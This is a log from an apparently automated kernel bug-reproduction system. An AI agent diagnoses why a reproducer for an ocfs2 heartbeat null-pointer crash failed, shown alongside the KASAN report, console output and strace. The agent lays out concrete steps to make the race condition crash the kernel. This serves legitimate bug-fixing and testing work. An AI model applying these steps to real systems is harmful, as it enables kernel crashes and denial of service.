[pid 5872] ???( <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] <... exit_group resumed>) = ?
[pid 5872] <... ??? resumed>) = ?
[pid 5871] +++ exited with 0 +++
[pid 5872] +++ exited with 0 +++
+++ exited with 0 +++
[ 71.820194][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.822379][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
]
|
| 170/3 |
2026/09/04 20:56 |
agent |
repro-oracle |
2m
Model:
Results: map[Feedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ProbePassed:false TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
IsProbe: false
Reproduced: false
Console Output: [ 61.683357][ T33] audit: type=1400 audit(1788555259.586:203): avc: denied { transition } for pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.690905][ T33] audit: type=1400 audit(1788555259.586:204): avc: denied { noatsecure } for pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.697902][ T33] audit: type=1400 audit(1788555259.586:205): avc: denied { rlimitinh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.704132][ T33] audit: type=1400 audit(1788555259.586:206): avc: denied { siginh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.085305][ T33] audit: type=1400 audit(1788555261.986:207): avc: denied { write } for pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.124375][ T33] audit: type=1400 audit(1788555262.026:208): avc: denied { write } for pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.194924][ T33] audit: type=1400 audit(1788555262.096:209): avc: denied { write } for pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.238075][ T33] audit: type=1400 audit(1788555262.136:210): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:41941' (ED25519) to the list of known hosts.
[ 64.577197][ T33] audit: type=1400 audit(1788555262.476:211): avc: denied { mounton } for pid=5846 comm="syz-executor240" path="/sys/kernel/config" dev="configfs" ino=1116 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.586101][ T5846] audit: audit_backlog=65 > audit_backlog_limit=64
[ 66.835840][ T33] kauditd_printk_skb: 76 callbacks suppressed
[ 66.835849][ T33] audit: type=1400 audit(1788555264.736:286): avc: denied { write } for pid=5867 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.917912][ T33] audit: type=1400 audit(1788555264.816:287): avc: denied { write } for pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.039560][ T33] audit: type=1400 audit(1788555264.936:288): avc: denied { write } for pid=5873 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.117416][ T33] audit: type=1400 audit(1788555265.016:289): avc: denied { write } for pid=5876 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.221783][ T33] audit: type=1400 audit(1788555265.116:290): avc: denied { write } for pid=5879 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.304324][ T33] audit: type=1400 audit(1788555265.206:291): avc: denied { write } for pid=5882 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[ 71.554541][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.557436][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
Strace Output: [pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
